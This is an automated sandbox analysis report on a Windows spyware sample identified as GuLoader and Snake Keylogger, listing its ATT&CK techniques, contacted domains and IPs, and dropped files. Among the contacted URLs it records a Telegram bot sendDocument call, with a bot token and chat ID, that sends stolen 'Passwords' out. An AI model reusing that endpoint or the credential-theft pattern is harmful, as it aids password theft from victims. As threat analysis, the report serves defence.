Source: Yara match	File source: Process Memory Space: m0CZ8H4jfl.exe PID: 7628, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
m0CZ8H4jfl.exe	72%	Virustotal		Browse
m0CZ8H4jfl.exe	61%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://api.telegram	0%	Avira URL Cloud	safe
https://api.telegram.orgt	0%	Avira URL Cloud	safe
http://checkip.dyndn	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.185.110	true	false	high
drive.usercontent.google.com	142.250.185.161	true	false	high
reallyfreegeoip.org	104.21.96.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	193.122.6.168	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.google.com	m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.orgt	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034985000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034BD0000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C7000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.000000003489B000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034887000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034A2A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive.usercontent.google.com/1W	m0CZ8H4jfl.exe, 00000003.00000002.2637853910.0000000004118000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://translate.google.com/translate_a/element.js	m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/	m0CZ8H4jfl.exe, 00000003.00000002.2637853910.00000000040A8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189ec	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347C1000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034985000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034BD0000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C7000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034A2A000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	false		high
https://apis.google.com	m0CZ8H4jfl.exe, 00000003.00000003.1863100146.000000000411F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.com	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034BD0000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C7000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034A2A000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	m0CZ8H4jfl.exe	false		high
http://api.telegram.org	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034985000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034BD0000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C7000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000349C3000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034A2A000.00000004.00000800.00020000.00000000.sdmp, m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034B47000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347C1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndn	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.0000000034C5E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.usercontent.google.com/xW	m0CZ8H4jfl.exe, 00000003.00000002.2637853910.0000000004118000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	m0CZ8H4jfl.exe, 00000003.00000002.2660261583.00000000347F1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.185.161	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.96.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
142.250.185.110	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587963
Start date and time:	2025-01-10 19:54:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	m0CZ8H4jfl.exe renamed because original name is a hash value
Original Sample Name:	d279cafd050cd071af764df4cc856e9e188ce0c920d13429a3b33129c7e4cee2.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@6/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 150 Number of non-executed functions: 95
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.12.23.50
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
13:56:30	API Interceptor	16098x Sleep call for process: m0CZ8H4jfl.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	IUqsn1SBGy.exe	Get hash	malicious	AgentTesla	Browse
193.122.6.168	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ql8KpEHT7y.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	8kDIr4ZdNj.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	4iDzhJBJVv.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ln5S7fIBkY.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.80.1
checkip.dyndns.com	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
api.telegram.org	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	IUqsn1SBGy.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	SBkuP3ACSA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	zAK7HHniGW.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
TELEGRAMRU	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	IUqsn1SBGy.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
CLOUDFLARENETUS	Message 2.eml	Get hash	malicious	Unknown	Browse	172.64.41.3
	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	frosty.arm.elf	Get hash	malicious	Mirai	Browse	104.23.145.230
	Message.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	s2Jg1MAahY.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	https://eu2.contabostorage.com/69e36f1a5de941bb877627f90e79fd6d:gip/document.html#phishme@arrowbank.com	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	https://eu2.contabostorage.com/69e36f1a5de941bb877627f90e79fd6d:gip/document.html#phishme@arrowbank.com	Get hash	malicious	HTMLPhisher	Browse	172.64.147.188
	jd4t3R7hOq.exe	Get hash	malicious	Azorult	Browse	104.21.75.48

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	FPACcnxAUT.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	jxy62Zm6c4.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	xom6WSISuh.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	AHSlIDftf1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	eLo1khn7DQ.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	MzqLQjCwrw.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	3WgNXsWvMO.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
3b5074b1b5d032e5620f69f9f700ff0e	s2Jg1MAahY.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MqzEQCpFAY.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	RubzLi27lr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MqzEQCpFAY.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	YJwE2gTm02.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Y8Q1voljvb.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	MWP0FO5rAF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	MWP0FO5rAF.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	fGu8xWoMrg.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.185.161 142.250.185.110
	r5yYt97sfB.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.185.161 142.250.185.110
	RmIYOfX0yO.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.161 142.250.185.110
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	142.250.185.161 142.250.185.110
	4hQFnbWlj8.exe	Get hash	malicious	Vidar	Browse	142.250.185.161 142.250.185.110
	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	142.250.185.161 142.250.185.110
	g7Mz6hLxqw.exe	Get hash	malicious	GuLoader	Browse	142.250.185.161 142.250.185.110
	ln5S7fIBkY.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.250.185.161 142.250.185.110
	Osb7hkGfAb.exe	Get hash	malicious	GuLoader	Browse	142.250.185.161 142.250.185.110
	SvmL9tW29w.exe	Get hash	malicious	GuLoader	Browse	142.250.185.161 142.250.185.110

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsw2CAB.tmp\System.dll	PURCHASE ORDER TRC-090971819130-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE 750013-1012449943-81347-pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT SWIFT AND SOA TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	RFQ December-January Forcast and TCL.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PAYMENT ADVICE TT07180016-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	O0rhQM49FL.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Crosspiece.Gly

Download File

Process:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
File Type:	data
Category:	dropped
Size (bytes):	35898
Entropy (8bit):	4.579363273950714
Encrypted:	false
SSDEEP:	384:N0tkFClF9lfUBtLjaEW7WIiOnvFjwJo2PX6Av1FMRvCGlxp8EKtyZQFH2:NjFw9wt36WyqJXJFMtCG79K8ZQg
MD5:	781E08B28F6FF42F07049A8394BA7E21
SHA1:	11F03490DF96BBA3D463E80FEF706BF1D8ABC0D0
SHA-256:	4CF7FB5C20E8C886C32125C2406D63B48ED997EBECDE2DA05314BE47D633FB8C
SHA-512:	0BD1560B8C6140ABAC9F85B67A26EED9E8EF0CAB4AAA39C98325A8752348238238C34ECC1216774D8373A3BA927C01B49D93FF9EC3380B81DC20F0C7AA97F6F1
Malicious:	false
Reputation:	low
Preview:	..........x.444...............y.............55.....=.5...........;.....................>>>>....@@@.......................xx......................................+.%.............................q........ff....T............................GG....J........tt.v.......'.........................h.ooo................C.......................--........SS.........B................................).0.2.RR.QQ......KK.....O.........2222..........q.u..\|.............................yy...............................VVVV....Q..ZZZ.h._..666666.QQQ.......................................YY.......__..........6.........4.#.....B...111.........................`.\..............LL.....JJJ...s........III....t..``.S.........P.~~~~~..........................i.....a....22.EE.............................................ss.....<.........~~...................99..dddd........5....x.q...VVVV......................................hhhh............YY....444..d..........\|\|\|\|.j....................zz...............s...........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

Download File

Process:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
File Type:	data
Category:	dropped
Size (bytes):	56641
Entropy (8bit):	1.2318917163845036
Encrypted:	false
SSDEEP:	384:vrBeaW6xu5Pd9GW0Zq+/HXF1qcGNMUd8phxiFQHOV7hpvZlq:t9+Pdop/306xixrlq
MD5:	39C9A5F767D8C170B5CE38EA8D5734D4
SHA1:	4B4CA81EB3D093645B504004F62A269D4EACDECC
SHA-256:	87A7017021050071DBE5726BF9AC505763CD923E2BDE93336CA0905802CD8D49
SHA-512:	AE2D66B801251046FA4D3093391B916955B43BE75A954DD398583B1B8881A9F109F51F81D6E4FE759F83AC7B921FA89B02185013AFDE16D3C8EAB422BE89B4FF
Malicious:	false
Reputation:	low
Preview:	.............l.........z........i........8.........................m.........f.C.Z..............I./........T..1.......................!......................D.................................................................................U................................../........................................-.......................}.........T`.....0@.............................F..............................].........................L.........<.........................................................................................N......................................................x........................................................@............................................4..........'...................?..........I.............../....................L....,...............................................;......k.....................................i............4.......................................K.....7...7....c...................U..#..............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Skattereduktion.Pre29

Download File

Process:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
File Type:	data
Category:	dropped
Size (bytes):	268719
Entropy (8bit):	7.819557885033517
Encrypted:	false
SSDEEP:	6144:FYAs+3YWbK7pvS5/d7Grkyhao1wVniHp33Kpm8:GAs+3hK7pvSVd7no1wZgmm8
MD5:	6298E6324DAADEF6250CF15ED77A3701
SHA1:	62C54C2615C13B3A5416B41E592380280C224EF0
SHA-256:	29601B875D0D865DEF56CDEF4F56FBBC297E6D543057F4FA27BEB60402D92A95
SHA-512:	B4F69E9BC6ECF8800ACF2D211DD48AC71670C00BFC7F7BE04A7BB227D65B40D87E7A72FA3E3ED37BB7654ECFD82EE40EC29EC251977AD4841295E411D2B56249
Malicious:	false
Reputation:	low
Preview:	..............&&&............_...........&................................_.j.././..........\|.......1...........\\......^^...cc..N.... .y.......666.........................7................>>............mmmmm.....H....jjjj........qq............::.h.....................:::..'''''.......L...0...vvv..D......TTTTTTT..jj.....444.LL.>....a......vv........9.QQ......111........u..........F..kkk........Z..............hh.``.....p..........~~~~...............................b.............................>>.............[.......bb.............PP.ll.........666...........gg.....P..99........##.........%....R................~.z.......9.333...............................C.....&.......t.`..ooo........((........K.DDDDDD.]...........X....CCC.....................66..........eeeeeee......%%..uuuuu.~~....k........................................ ..................:::::.GG...........................ii......RR.......................;;...........E.W.\.......2222........t................d.wwwww.......>>....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

Download File

Process:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
File Type:	ASCII text, with very long lines (345), with no line terminators
Category:	dropped
Size (bytes):	345
Entropy (8bit):	4.241929841155785
Encrypted:	false
SSDEEP:	6:dvkdMOL4xnuXGNQWjMIDw1luhPB46xAJX7sBJOdkmLA8gMfArpIXbgOwQWiQJEEC:dufExIoDe1lYnGJLsBQdtL6rpIrWQkJA
MD5:	AE69FE0F4D1E1115BC470031E661785C
SHA1:	8D3799826FE457C61C1E8EE5E3071683A8125BC5
SHA-256:	6B18768503395C809263568D3A8858810404C2B7D49DC7CB6CE5F717F5D6C7DE
